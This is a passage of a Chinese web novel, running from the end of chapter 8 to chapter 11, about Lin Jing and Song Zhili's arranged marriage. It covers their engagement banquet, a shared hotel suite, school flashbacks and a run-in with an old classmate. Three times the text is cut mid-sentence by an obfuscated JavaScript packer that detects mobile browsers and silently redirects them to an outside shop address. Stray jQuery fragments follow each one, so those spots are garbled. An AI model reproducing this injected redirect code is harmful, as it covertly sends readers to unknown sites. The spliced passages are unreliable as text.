到底是自己的订婚宴,宋知礼与林菁不好再多与他计较。 离开那桌后,宋知礼偷偷握了握林菁的手,小声在她耳畔说:“不理他。” 大庭广众之下,二人凑的太近,林菁不习惯与人如此亲密,快快地点头。 下一桌是宋家的近亲,与宋知礼同辈的堂弟堂妹们今日聚齐了,为堂哥堂嫂贺喜。 这群弟妹们各自心怀鬼胎,脸上都写满了算计,连林菁都能看出来,他们笑得并不诚恳。 宋家的产业,人人都想独吞。 宋知礼也是。 与他们虚与委蛇后,又过了几桌,林菁已经喝得有点晕了。 她不太能喝酒,但因为是自己的订婚宴就一直强撑着。 她穿着双细高跟,拿着酒杯跟在宋知礼后面,晕乎乎的没走稳,忽然拌在了宋知礼的皮鞋上。 宋知礼眼疾手快,未等她倾倒,就稳稳扶住她。 旁人未看出端倪。 宋知礼看到林菁漂亮的眼睛有些飘渺的呆滞。 宋泽成已经与这一桌的人打完了招呼,举起了酒杯。 林菁也机械地举起酒杯,却被宋知礼摁住了杯口。 宋知礼未说什么,只一口将自己杯中的红酒喝了,接着喝了林菁那杯。 他恰巧抿到了酒杯上残留的红印,一仰头,喝得一滴不剩,接着又将杯子重新塞回林菁手里。 接下来的几桌,都是如此。 穿过无人之处时,林菁拉了拉宋知礼的袖口,“其实我还能喝的。” 她不忍心让宋知礼一个人承担,喝那么多。 宋知礼脚步依旧沉稳,目色清朗,若不是靠近时林菁能闻到他身上的酒味,林菁会觉得他滴酒未沾。 宋知礼望着她,“嗯”了一声。 “不用你喝,”宋知礼酒后的声音微微有些低沉的沙哑,他轻轻攥了攥林菁的手心,对她说,“放心。” 秦瑶与林建华拿着酒杯就在不远处站着,微笑地看着他们。 林菁戴起假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275976|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,微笑地喊了声:“爸,秦阿姨。” 北城的习俗,是办了婚宴后才改口,他们才刚订婚,所以宋知礼依旧喊的是叔叔阿姨。 最近的那桌坐着林菁的叔叔林建华,还有他们的儿子林斯齐与他几个月前娶的夫人温煦。 林菁悄悄与宋知礼说,“这杯我自己喝。” 她不好意思在特别亲近的人面前与他人过分暧昧,喝同一杯酒。 宋知礼“嗯”了声,随了她的心意。 他知林菁的脸皮,比糯米纸都薄。 林斯齐比林菁大八岁,林菁喊了声堂哥。 林斯齐前些年在海外留学,学的是金融,这几年学成归国,已在林氏任职,熟悉业务。 他父亲林建峰颇受林震山的青睐,在集团身负重任,董事会的倾向也是一目了然。 只是林建华依旧不放弃,还在持之以恒地在林佑山面前表现自己。 林斯齐和夫人温煦与他们碰了杯,道了声恭喜。 温煦是温家的小女儿,比林斯齐小两岁,今日穿了件白色毛衣,显得温婉。 林菁喝了那杯酒,宋知礼未拦。 接下来那几桌的酒,依旧是宋知礼喝的。 林建华和秦瑶都惊讶地目睹这一幕,但终究没说什么。 轮到倪元元与她老公那桌时,外国佬欣赏宋知礼的担当,赞许地为他用英文喝彩。 …… 一切结束,黑夜袭来,林菁坐在酒店的顶楼露台上吹风偷闲。 结婚好累。 她忽然听到耳边传来孩童的笑声,她一转头,看到刚刚那个女人抱着孩子朝她走来。 她站起身,女人对她说,她叫邹平,是宋家的远亲。 “抱歉,刚才孩子不懂事,给您添麻烦了。” 林菁温和地摇摇头,对她说没什么大不了的,孩子很可爱。 她向来不计较这些,就算真要仔细挑错处,那也不是这对母子惹的祸。 “夜深了,早点回家吧,”林菁安慰她。 露台上,又只剩林菁一个人,今日没吃什么东西,又喝了酒,她胃里有些难受。 她不该硬撑。 敬酒前,酒店的服务员问过是否需要茶水,以茶代酒,林菁还未说话,就被林建华打断。 林建华是个好面子的,他说:“那像什么样子,那是对宾客的不尊重。” 他的嗓门大,周围几桌宾客闻声都转过头来看他们。 林菁不确定有多少宾客听见了这句话,只能说就用酒就好。 露台的风有些冷,她看着楼下一辆辆车从酒店的停车场驶出,偌大的停车场逐渐变得冷清。 身后传来脚步声,是宋知礼。 “还难受吗?” 宋知礼给她披了件衣服。 “吹了风,好多了,谢谢,”林菁趴在自己的臂弯里,声音闷闷的。 宋知礼的脸有些微醺的红,指尖的温度也比平日里高许多,浑身有散发的热意。 披衣服时触碰到林菁的脖颈,林菁忍不住颤了下。 宋知礼在她身边坐下。 他向后撑着地,仰头看今日的圆月,神色依旧清明,问她:“我们的结婚的事,身边朋友知道吗?” 林菁摇摇头,“不知道怎么跟他们说。” 宋知礼点点头,不勉强。 他们还是学生,尤其是林菁,还要读研,哪怕已到法定结婚年龄,但若是有人真的在学校里结婚了,风言风语总是不会少的。 他是无所谓其他人怎么看,但为了林菁的平静生活,他也守口如瓶。 他忽然坦白,“其实,咱们领证那天,我室友非要问我要借车做什么。” 林菁从臂弯里抬起头,侧身看他,“你说你要结婚?” 宋知礼笑了,“嗯。” “他信了吗?” “他说我胡说八道。” 林菁也笑了起来,胃里难受的感觉也没那么强烈了。 夜里的北城很安静,独有他们二人坐在一方天地间,望着远处的灯红酒绿。 宋知礼说出的话有些孩子气,他说:“我没再跟他解释。” 林菁应和:“嗯,不解释。” 9. 第九章 二人之后一言不发地在露台上坐了许久,期间手机亮了又灭。 虽然早就领过证,但直到今天林菁才对自己已婚的身份有了实感。 她听到很多人喊她夫人,祝他们百年好合,愿他们白头偕老。 她这才恍惚地意识到,她与旁边的这位,已被紧紧地捆绑在一起,退无可退。 他们的关系,早在无意识中变得亲密。 可是,这种亲密根本就毫无缘由,仅仅只是因为一张结婚证。 这份捆绑太脆弱,又太生硬,直接将他们从三年不见的前男女朋友变成了夫妻。 没有过渡,也没有爱情。 林菁不排斥与宋知礼结婚,但依旧觉得怪异。 夜深了。 林菁忽然站了起来,她觉得有些困,她该回家了。 “我要走了,”林菁对宋知礼说。 宋知礼支着一直腿坐着,闻言抬头看向她,问:“你怎么走?” 林家的人都走光了,全都已经默认将林菁划分为了宋家的人。 林菁想了想,说:“我要张叔来接我。” “我让人送你,”宋知礼沉默片刻后说。 林菁摇头,“不麻烦你了。” 宋知礼听到“麻烦”二字,眉头拧了拧。 林菁总是对人疏离,对任何人都是。 宋知礼伸手,将林菁重新拉着坐下。 他说:“你还记得我们结婚了吧?” 虽然还没有摆结婚宴席,但结婚证是切切实实两个人一起领的。 林菁点头,“我知道。” 白色的月光洒在露台上,将周遭的一切都覆上一层荧光。 宋知礼循循善诱,“你知道结婚是要做什么吗?” 林菁闻言,垂下脑袋,脸颊慢慢地变红,听到这个问题后,她竟第一时间想到些少儿不宜的东西。 实在是不该,林菁望着宋知礼神色镇定的面孔,觉得自己过分龌龊。 宋知礼捏紧了她的手腕,她甩了甩手,却甩不掉,反倒是被宋知礼攥着手腕又往他怀里带了几寸。 林菁被拉得身子倾斜,身体不受控制的倒向宋知礼,不得不伸出另一只手向下撑住自己,却摸到了宋知礼的大腿。她有些愠恼,说:“你喝醉了。” 宋知礼说:“我很清醒,你回答我。” 林菁换了手支撑的地方,不再碰到宋知礼的腿。 腰间忽然传来一股力,一瞬间,她被宋知礼拦腰抱在腿上,一双手依旧搂着她的腰。 二人间的距离被无限拉进,林菁清晰地看见了宋知礼眼上的睫毛,还有近在咫尺的唇。 她闻到了宋知礼身上的酒味,与她自己身上的混合在一起,不分你我。 林菁的手抵着宋知礼的胸膛,宋知礼能感觉到她手指上凸起的订婚戒指,正戳着他的皮肤。 林菁被逼得紧,总算回答了他的问题。 她说:“结了婚要住一起。” 宋知礼很满意,“我也是这么认为的。” 林菁看着他的眼睛,无辜地眨了眨,又说:“可我们还没有买婚房。” 她其实之前根本没想到过婚房这件事,都是几天前宋知礼提的,她才想到能拿婚房当借口。 宋知礼笑得喉结滚了滚,婚房,大约是前几日他提过一次要买婚房林菁才会想到用这个理由。他的老婆怎么这么可爱。 “对,那怎么办,我喝了酒没法送你,”宋知礼逗她。 林菁想也不想,说:“不用你送,我说了让张叔来接我。” 宋知礼摁亮自己的手机,抬起来给林菁看时间。 “大小姐,现在快十一半点了,不能这么压榨员工的。” 林菁确实是没考虑到这点,这么晚了张叔也得休息。 她也忘了自己还坐在宋知礼的腿上,只闷头思考怎么解决这个问题。 她累了,想回家。 “我们楼下就有房间,愿不愿意住?”宋知礼问她,他们现在就在酒店的楼顶。 林菁觉得这倒是个不错的主意,她需要休息。 她说:“我愿意。” 今日整个酒店被林家还有宋家承包了,所有客房都没有宾客入住。 她扶着宋知礼的肩站了起来,想去最近的套房休息。 宋知礼一直默默跟在她的身后,待林菁站到房门前,林菁才鼓足勇气问他,“你今晚住哪?” 原本宋知礼今晚需要回学校一趟,他公司的项目代码发现了个新漏洞,需要处理。 他也没料到今日自己会喝这么多的酒。 公司的事情只好先往后推。 宋知礼斜靠在墙上,昏黄的灯光下,男人的五官显得更加的立体,深邃的眼睛望着她,勾引她。 他听到身后有靠近的脚步声,大约是酒店内每层巡逻的服务员。 “这儿都是空房间,我随便选一间住就好,”他装得绅士。 林菁看到了身后向他们走来的服务员,若是被别人看到新婚夫妻分房睡,会有怎样的传言…… 她只好违背宋知礼的意愿,拉紧他的袖子,将他拉进了房间,关上了门。 宋知礼被林菁锁在门内,好像有些无措,他问:“怎么了?” 林菁伸手打开旁边的灯,她很少做这种强迫人的行为,还是强迫一个男生与她共住一个套间,她有些不好意思。 “没什么……就刚看见一个服务员走过,要是被他看见我们分房睡,可能不太好。” 无论他俩之间的感情真实情况如何,在外人面前必须得是恩爱夫妻。 这是协议婚姻的底线。 宋知礼恍然大悟,“原来是这样,若是不小心被人看见是会有很多麻烦,多谢。” 林菁也觉得这样强人所难,与宋知礼说了声抱歉,宋知礼很大度地原谅了她。 宋知礼指了指门外,说:“没有声音了,人应该走了,我需不需要现在换间房?” 林菁想了想,还是说算了。 这是间套房,屋内有两个房间,他们可以互不打搅地一起住。 她今日真的累了,而且没吃几口饭,原本还想吃些什么,却觉得没胃口。 宋知礼看着林菁疲惫的面容,让她先去洗漱。 他坐到客厅的沙发上,有一搭没一搭地看茶几上摆放的杂志。 他听到浴室传来哗啦啦的水声,磨砂的玻璃并不能完全挡住浴室内的身影。 他背对浴室坐着,随意翻弄手中的时尚杂志。 半个小时后,浴室门打开,涌出一股潮湿的热气。 林菁穿着白色浴袍,走出来时,发梢还滴着水。 林菁对宋知礼说:“我好了,你洗澡吧。” 宋知礼放下手中的杂志,把它们摆回原位。 他从浴室拿了吹风机,示意林菁坐过来。 林菁真的很累了,洗澡已经耗费了她最后的一点力气。 她说了声谢谢,接着靠在沙发扶手上,任由宋知礼拨弄她的头发。 宋知礼调了适宜的温度,一点点帮她吹干头发。 林菁努力保持清醒,对抗睡意,宋知礼的手指在她的发缝中穿梭,时不时不小心蹭到她的头皮,很舒服。 宋知礼吹得很小心,一点儿都没有拉扯到林菁的头发。 吹风机呼呼的声音中,林菁听到宋知礼说明早送她回家。 林菁强睁着眼睛,点点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275977|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>待宋知礼差不多吹完头发,轻声细语地喊林菁坐起时,他才发现沙发上侧躺的少女双眸紧闭,不知何时进入了梦乡。 她睡着的样子很乖,白皙的面孔被额前杂乱的头发盖着,很是温柔。 林菁永远是个很温柔的人。 宋知礼有时候希望林菁能发点脾气,朝他发脾气。 林菁心里藏的事情太多,眉眼间总是有股淡淡的不开心。 他从卧室抱了条毯子,为林菁盖上。 林菁睡觉时缩在沙发上,像只小猫。 宋知礼先去洗了个澡,他怕身上的酒味沾染到干干净净的林菁。 待他洗完澡出来,林菁依旧在沙发上沉沉睡着,姿势都分毫未变。 今日,真的把林菁累到了。 宋知礼将毯子与林菁一同抱起,打开了一间卧室的门。 林菁睡得迷迷糊糊,在他怀里蹭了蹭,磨得宋知礼心口痒。 他未开灯,轻轻将林菁放在床上,替她盖好了被子。 林菁不知梦到了什么,没张嘴呢喃几句,又在床上缩成了一团,头也缩在被子里。 宋知礼看着被子里鼓起的一团,轻手轻脚走了出去,合上了门。 翌日。 林菁睡到自然醒才睁眼。 外头的阳光有些刺眼,隔着窗帘,洒在被子上。 她迷迷糊糊地揉着眼睛,打开了房门。 屋外,沙发上的人与她穿着同款浴袍,看着她,朝她打了声招呼。 “早。” 林菁的手机昨晚扔在茶几上,没有拿进房间。 她看了眼手机,没几条消息。 没有人在乎她的夜不归宿。 “昨晚谢谢你抱我去卧室,”林菁说,她在宋知礼怀里时有些知觉和意识,但她实在太困了,一沾床就又睡着了。 房间内只有他们昨日换下的脏衣服,宋知礼今早已让酒店的人去买。 换完衣服后,宋知礼说:“走吧,我送你。” 他开的依旧是那辆黑色迈巴赫。 点开导航,林菁上回输入的地址记录依旧在第一行。 林菁坐在副驾,问他:“你今天有别的事情要做吗?” 她今日起晚了,如果因为自己而耽误别人的行程,她会觉得自己是个负担。 宋知礼摇头,“没有别的事。” 其实学校和公司有一堆事等着他,但没必要与林菁说这些。 林菁心想,宋知礼对她很好,昨天抱她去睡觉,今天又送她回家。 她理所应当该报答些什么。 林菁说:“中午来我家吃饭吧。” 宋知礼一愣,她知道林菁没什么别的心思,只是想感谢下他而已。 他觉得公司那儿的事情也没有特别急,一顿饭的功夫而已,能耽误多少。 “好啊。” 他们并肩走向停车场,上了车。 今日,林菁的头发有些卷曲,她坐在副驾上用手指梳了许久依旧卷卷的,是因为昨日订婚宴的盘发造型。 宋知礼刚启动车,驶出停车场,转弯的时候忽然有人敲了敲车窗。 是个魁梧的穿着黑色运动服的男人。 宋知礼降下车窗玻璃,窗子外是一张陌生又熟悉的脸。 是高中时的同学,韩嚣会。 “班长,真是你啊!”韩嚣会碰巧从停车场外路过,远远看着一男一女走过,那个男人的侧脸他瞧着很眼熟,离近了才发现是他高中时的班长。 “班长,你怎么在这儿?” 他只看到副驾的位置上坐了人,但没看见脸。 韩嚣会很好奇地凑得更近,扒着窗户,问宋知礼:“班长,这位是?” 10. 第十章 再说高中阶段。 高一的生活就这么平淡如水地过。 学校里没什么能引起全校关注的大事。 只是有一日,忽然传闻韩嚣会在知道自己那日被宋知礼戏弄之后,又喊了自己帮派的兄弟,跟宋知礼打了一架。 林菁听到这个消息的时候,很胆战心惊。 她觉得宋知礼看着是个很正派的好学生,若是被韩嚣会的人打残了怎么办? 宋知礼是为了她才出头,她不能见死不救。 林菁向李霄何打听了韩嚣会一群人与宋知礼打架的位置,林菁很害怕但还是急匆匆地赶过去。 昏暗的学校仓库内,躺着东倒西歪的几个人。 旁边的篮球框被打翻了,弹跳的篮球滚了一地。 仓库的窗花外装了防盗铁架,室外的阳光透入,在宋知礼的脸上覆上几道阴影,看着比平日里阴郁许多。 宋知礼脸上破了皮,捏紧拳头撑着地将自己撑起。 旁边几个小喽喽在地上哎呦哎呦地哭爹喊娘。 韩嚣会倒是没想到宋知礼这么能打,他以为面前的男生只是个会虚张声势的书呆子。 韩嚣会的腹部刚刚被踹了两下,有点疼。 战斗已经结束,他韩嚣会向来恩怨分明。 宋知礼那日骗了他,他根本就没向学生会打小报告,所以他要揍宋知礼。 揍完了,那就还是兄弟。 韩嚣会站起身,向宋知礼发出邀请,“喂,要不要加入我们。” 宋知礼忙着情理战场,弯腰将地上的篮球重新丢回框里。 听到邀请,他果断拒绝,“不了。” 韩嚣会觉得无趣,带着自己的小弟们,撇下打扫卫生的宋知礼,直接走了。 空荡荡的器材室内未开灯,宋知礼独自一人,一言不发地蹲在地上捡拾掉落的羽毛球。 林菁到那儿的时候,只看见宋知礼一个人。 林菁环顾四周,没有敌人出现,才敢迈步踏进去。 宋知礼听到脚步声,转头,看到是她时,眼神有些错愕。 她怎么来了。 林菁看到宋知礼脸上的伤,又害怕又担心。 她走到宋知礼的身边,蹲下身,小心翼翼地伸出手指,碰了碰宋知礼受伤的脸,看到了从伤口处渗出的点点血迹。 毫无征兆的,她霎时红了眼眶,豆大的泪珠一连串从脸颊上滚落,怎么都停不下来。 宋知礼那时候觉得,林菁像在给他哭丧。 他完全不知道该怎么处理这种情况。 林菁哭的时候很沉默,说出的话没什么哭腔。 她哭了老半天之后,向宋知礼道歉“对不起,都是因为那天你帮我,你才会被他们揍。” 宋知礼在衣服上擦了擦手,替林菁抹去泪珠,手还是有点脏,在林菁脸上留了道黑印。 宋知礼皱皱眉,又擦了两下,结果越抹越黑。 他只好用干净点的袖子,给林菁擦脸。 林菁边哭边躲,问他:“你做什么?” 宋知礼哄她,“别动,擦擦脸。” 林菁终于配合,宋知礼边擦,林菁边落眼泪。 宋知礼怎么都擦不完,像陷入了循环。 林菁哭得很理智,咬着唇一声不吭,只哭不说话,明亮悲伤的眼睛一眨一眨的,落下一滴接一滴的泪珠,不知道脑子里在想些什么。 宋知礼安慰她:“我没事,我也揍他们了,这事跟你没关系,纯属那个韩嚣会脑子有病。” 林菁还是担心,“要是他找他家长告状怎么办?” 会不会影响到宋知礼。 宋知礼擦眼泪的动作顿了顿,迷茫了,韩嚣会找他家长告状? “应该不至于。” 林菁又担心,“你的脸怎么办,好大的口子。” 都怪她…… “就破了点皮,过两天就好了。” 两人一人一句,一人提问一人安慰,过了好一会儿,宋知礼终于明白了,林菁哭的主要是她的自责。 他摸了摸衣袖,说:“……算了,你陪我去药店买个创口贴吧。” 林菁答应,慢慢停止了哭泣。 宋知礼站起身,伸手拉住林菁的手腕,将她扶起。 药店在学校外面,北城四中门口的保安不怎么拦人,说一声要去买药就放他们出去了。 林菁脸上有干掉的泪痕,整个人情绪不好。 她替宋知礼付了药钱,宋知礼欣然接受,还额外多要了瓶碘伏。 二人坐在药店门口的石阶上,林菁小心翼翼地拆开棉签,沾了药水替他清理擦拭伤口。 “疼吗?”女孩动作轻柔小心,眼睛红彤彤的。 宋知礼在心里说,不疼,很舒服。 “还好,”他侧着身子,曲腿坐,二人凑得好近好近。 林菁忙着照顾病患,早忘了男女同学间的安全社交距离,心思全在宋知礼脸上的伤上。 挺帅的一张脸,破相了多可惜。 宋知礼仔细看看近在咫尺的女孩,她微微蹙着眉,照顾得很认真,额前有短短的绒毛,看起来很乖巧。 林菁最后在伤口上贴上创口贴。 这一番补偿完,林菁终于觉得心里好受多了。 宋知礼见她不哭了,心也踏实下来。 他感觉自己的袖口湿答答的,反应过来那都是女孩的眼泪。 他摸了摸脸上贴得平整的创口贴,对林菁说:“时候不早了,我们回去吧。” 二人并肩走进校门,又在楼梯口分道扬镳。 独处的短暂时光,成了二人共同的秘密。 …… 那日是周五,上完晚自习,宋知礼从校门口出来,看到了自家的车。 他打开副驾,结果副驾坐着他妈。 陈湘指了指后排,“坐后面去。” 宋知礼听话地走到后座,拉开门,先把书包扔进去,再坐到了中间的座位。 今天开车的是他爸,宋泽修。 宋泽修和陈湘透过后视镜,都看到了宋知礼脸上的创口贴。 陈湘转过头问他:“你脸上怎么了?” 宋知礼含糊其辞,“摔了一跤。” 陈湘用一种你在骗鬼呢的表情无语地看着自己儿子。 但儿子受伤了,他们还是很担心的,让宋知礼把创口贴剥开给他们看看。 宋知礼只好不舍得撕下了林菁贴得仔细的创口贴。 前排的二人把脑袋都凑了过来,天比较黑,宋泽修还打开了手机上的手电筒。 待他们看清宋知礼脸上那小小的破口,宋泽修没忍住嗤笑一声。 宋知礼问他:“你笑什么?” 宋泽修:“就破这么点皮还要涂药水,出息呢。” 宋知礼觉得他爸不解风情:“你不懂。” 陈湘看宋知礼脸上破口不大,也在笑。 宋知礼又看着陈湘说:“你们不懂。” 陈湘笑得不能自已,“行行行,那把你的创口贴继续贴上,行了吗,宋大少爷。” 宋知礼把撕下来的创口贴重新贴上,不与父母多解释。 那是林菁与宋知礼高一年级时最亲近的一次接触。 其余时间,依旧是各自生活,二人不在一个班,平时也见不到面。 每次月考后的表彰大会,大部分时候两个人都在,会简短地互相打个招呼。 月考排名,有时宋知礼在前,有时林菁在前。 他们拿着奖状,拍下了一次又一次大合照。 课间做操时,偶尔二班的体育委员不在,就是班长来领队。 林菁会站在自己的队伍里,隔了很远偷偷看宋知礼,看他与他们班的男生嬉笑打闹。 日积月累的,林菁也知道宋知礼平时在队伍里站在哪里,顺带认熟了前后左右几个男生的脸。 如果林菁往二班的位置瞟的时候,没看到宋知礼,就会在心里偷偷猜想,他去哪了。 有时会听到他们班的人谈到宋知礼,说他是二班的班长,成绩很好,人也不错,我们班的谁谁谁好像跟他认识。 每到这种时候,林菁都会默不作声,不会突然出来插一句我也跟宋知礼认识。 她不是个爱出风头的人。 她也不知道她与宋知礼是什么关系,反正是互相认识的。 他还替她擦过好久的眼泪。 林菁在学校过得一直不安宁,送给林菁的情书,从小学开始就没停过。 偶尔见到书桌上新送来的情书时,她会突然想到宋知礼。 有那么多人喜欢她,给她送情书,这其中会包括宋知礼吗?她有时候会想。 后来又觉得不可能,宋知礼是个好学生,是班长,不会做出早恋这种错误的事情。 很快,到了高一下的期末,要分文理班了。 林菁和同桌陆羽薇都选的理科,前桌的李霄何也是。 暑假结束后,分班结果出来了,每个人都只能看到自己的班级。 林菁被分到了八班,她的同桌陆羽薇也是。 李霄何比较倒霉,跟她们分开了,在七班,倒也不是很远。 开学的第一天,林菁比平时来得早一些。 教室里已经有了几个人,她随便找了个位置,放下自己的东西,准备去原来的班级把放在教室后面的箱子搬过来。 走到门口时,碰巧有个人要进门。 林菁没注意,差点撞到人。 她扶住门框停下,未抬头看人,只匆匆说了句“抱歉”。 接着侧着身,让门外的人先进来。 那个人却没有动。 她听到一个熟悉的声音说,“我们被分到一个班了。” 她一抬头,看到了宋知礼,他今日头发蓬松,略长的头发遮住眉毛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275978|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正低着头轻笑看着她。 宋知礼竟然跟她一个班。 林菁很高兴,说:“你也选了理科啊。” 宋知礼“嗯”了一声。 门口又有人要进来,他们不能堵在门口,对话戛然而止。 待林菁将自己的箱子搬到八班时,发现宋知礼坐在了她的位置的附近。 与她就隔了一条走道。 分了班之后,要重新竞选班长,宋知礼由于之前有当班长的经验,再次当选。 还有些其他岗位,依次有同学上去竞选。 林菁对这些不感兴趣。 开学第一天的座位是随便坐的,林菁与陆羽薇还是同桌。 陆羽薇趴在桌子上听着新同学的竞选演讲,昏昏欲睡。 没了前桌的李霄何,日子都变得无聊了。 班干部的竞选结束,门口忽然又来了一个人。 是韩嚣会。 班里好多人看到这张脸,都害怕地倒吸凉气。 韩嚣会本来今年要上高三,但因为翘课太多,跟不上进度,被原来的班主任规劝再读一年高二。 韩嚣会看到了宋知礼,没有什么反应。 与他结仇的人太多,只要有来有回,有仇报仇,有怨报怨,别在背后搞阴的,他就觉得对方是个好汉。 自那之后,韩嚣会跟班里其他人一样,也管宋知礼叫班长。 他的韩嚣会团体还在正常运营,其他小弟们并没有因为老大的留级而另寻龙头。 宋知礼管理班级管得并不严,只要韩嚣会不在班上扰乱课堂秩序就睁只眼闭只眼,只在开学的时候因为老师的要求做过一次他的思想工作。 韩嚣会不听,宋知礼也就作罢。 韩嚣会乐得自在,依旧每天翘课。 高考后,韩嚣会因为是体育生,考上了一所体育院校,今年也是大四。 他的大学就在附近,刚远远看觉得远处的人有点眼熟,有点像他高中时期的班长,就想着来打个招呼。 老友相逢,韩嚣会分外热情。 大学几年,他那神经质的脾气已经改好了不少,说出的话也文明许多。 “班长,你出息了啊,这车很贵吧?”韩嚣会稀罕地摸了摸车衣。 整个高中阶段,宋知礼的家世都捂得严严实实,没有人知道他是北城宋家的孩子,顶多根据他的穿着、气质、谈吐,觉得他家有点小钱。 韩嚣会又问:“里面坐着的是你女朋友吗?” 宋知礼没有回答。 不是女朋友,是老婆。 韩嚣会已经低下头,直接看到了副驾驶的人。 “林菁?”韩嚣会惊讶地捂住了嘴巴。 “你们为什么会在一辆车上?”韩嚣会的三观崩塌了。 在他的印象里,宋知礼与林菁没什么交集,大学也不在一个学校,属于班里互相认识但不怎么搭理对方的普通同学关系。 他俩唯一的交集可能是每次考试争谁是班里的第一。 两人是班上公认的勤奋刻苦加脑子好使,班级前二的分数能拉第三好长一截。 其实二人经常晚自习一起讨论题目,但韩嚣会不上晚自习,所以他不知道。 就这么一对普通同学,竟然坐在一辆车上! 韩嚣会的嘴巴久久合不上,在心中猜忌了无数种他们之间的关系。 班长跟校花好上了? 这是到哪一步了,他们这些老同学怎么什么都不知道呢。 宋知礼忽然朝他伸出手,晃了晃他中指上的戒指。 轻飘飘地告诉韩嚣会,“我们结婚了。” 所以在一辆车上。 林菁还要请他吃饭,宋知礼赶时间,说改日再与老同学叙旧,接着飞驰而去。 韩嚣会点点头,留在原地。 他在思考,为什么宋知礼的戒指戴在中指上,结婚戒指不应该戴在无名指上吗? 当他没看过电视剧吗? 他觉得宋知礼在骗他。 待他走回宿舍时,他一拍桌子,忽然觉得自己想通了。 宋知礼没准是记得他从前跟林菁表过白的事情,心里吃醋,所以故意说已经与林菁结婚,让他打消主意。 他与林菁可能在一起了,但一定没结婚。 呸,他韩嚣会是那种品行败坏,插足别人感情的人吗? 他气不过,决定报复宋知礼,直接点开高中班级群。 他们有两个班级群,一个有老师的,一个没老师的。 两个群里都已经很久没有人说话了。 没老师的那个群,群主是宋知礼,管理员是当时的几个班干部。 有老师的群,群主是班主任。 韩嚣会为了搞事情,特意挑了有老师的那个群。 他直接在里面@了宋知礼。 【某些人好事将近,不跟老同学分享一下吗?[坏笑]】 11. 第十一章 林菁坐在副驾玩手机,她原本是想找有什么简单的菜谱可以现学现卖,看了几个都觉得太复杂。 她忽然刷到了北城财经报的新闻,标题是北城宋家少爷与林府千金昨日于天府酒店举行订婚仪式。 她一点进去就是昨日的合照。 她与宋知礼站在照片最中央,脸拍得很不清晰,有些曝光过度和失真。 但仔细辨认依旧能看出来那是谁。 林菁并不怎么担心学校里的老师同学刷到这条新闻。 一来,很少有人会无聊到看地方金融报上的八卦新闻。 二来,她上大学的时候吸取了教训,没接受秦瑶要送她上学的要求。 所以,大学里并没有人清楚林菁的家境。 就算真的有人看了这则新闻,长得像的人有很多,而林菁才大四,怎么可能结婚,他们一定会觉得是自己认错了人。 林菁买的房子带车位,只是她没买车,所以一直空着。 她给宋知礼指路,寻找自己从未来过的车位。 “C区,这怎么直接从B区到D区了?”林菁忙着在手机里找小区地图。 按理说那车位就在她那幢楼的楼下,只是从地下车库走,她也不知道哪个门通往自己家的楼。 宋知礼在底下套了几个圈,才找对地方。 林菁头一次来小区的地下车库,也是头一次带男生回家。 她解锁了门,带宋知礼进去。 走到鞋柜处,她才发现家里根本没有给男士穿的拖鞋。 “不用换鞋,”林菁只能说。 宋知礼点点头,皮鞋在门口的地毯上多蹭了两下,进了门。 林菁的家有请钟点工定期打扫,地上和桌上都很干净。 但是沙发上有一团被揉皱的被子,是林菁平日躺沙发上时盖的,从来不折。 这沙发直对着入户门,有客人见了实在不美观。 林菁趁宋知礼还未看见,小跑过去,将沙发上的被子抱起,一溜烟跑进自己的卧室里,将被子扔了进去,又关上门。 林菁手忙脚乱做完这些,才发现自己根本没做好带人回家做客的准备。 幸好早上收拾的阿姨已经帮她把昨天吃剩的外卖盒子给扔了。 林菁尴尬地扫视自己的屋子,看看还有没有漏网之鱼。 她将长袖子往上撩了撩,招呼还站在玄关处的宋知礼,“你先坐吧,我……我去做饭,你想吃什么?” 宋知礼诧异,“你会做饭?” 什么时候长进的。 林菁又把袖子往上撩了撩,显得自己好像很干练的样子,“我不会,但我打算一会儿就开始学。” 林菁说得很诚恳。 最近宋知礼替他做了很多事,她需要报答一下。 宋知礼沉默片刻,问她:“冰箱里有什么?” 林菁也不知道,她好像记得几天前有让阿姨帮她去菜市场买点菜。 至于买了什么回来,她没看。 她打开冰箱门,看到几袋子素菜,用保鲜袋装着,已经简单处理过,上面用标签写了日期。 她又在冷藏里翻到几块牛排和一袋子排骨。 煎牛排,她还是会的。 “我给你煎牛排吃,”林菁询问。 宋知礼点点头。 宋知礼问她有没有砂锅,可以把排骨炖了。 林菁觉得她好像买过,但放在哪想不起来了。 宋知礼只好在厨房里翻箱倒柜,终于在上面的一个柜子里找到了还未拆封的砂锅。 林菁的厨房干净的像样板间,一点油烟都没有。 